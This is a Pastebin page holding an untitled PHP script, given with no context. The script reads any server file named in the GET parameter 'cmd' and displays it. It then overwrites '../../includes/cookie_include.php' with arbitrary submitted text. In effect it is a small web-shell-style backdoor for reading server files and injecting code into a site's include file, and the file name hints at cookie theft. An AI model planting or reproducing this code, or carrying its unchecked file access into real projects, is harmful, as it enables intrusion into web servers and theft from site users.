Advertisement
Guest User

Untitled

a guest
Jul 19th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $cmd = $_GET["cmd"];
  3. $fp = file ($cmd);
  4. ?>
  5. <form action="edit.php" method="POST">
  6. <textarea name="file" cols="300" rows="50">
  7. <?php
  8.     $lines = count($fp);
  9.    
  10.     For($i=0;$i<$lines;$i++){
  11.         echo $fp[$i];  
  12.     }
  13. ?>
  14. </textarea><br>
  15. <input type="submit" value="edit">
  16. </form>
  17. <?php
  18.  
  19. if (isset($_POST["file"])){
  20.    
  21.     $fw = fopen ("../../includes/cookie_include.php", "w+");
  22.     fwrite ($fw, $_POST["file"]);
  23.     fclose($fw);
  24.     echo "done";
  25.        
  26. }
  27.  
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement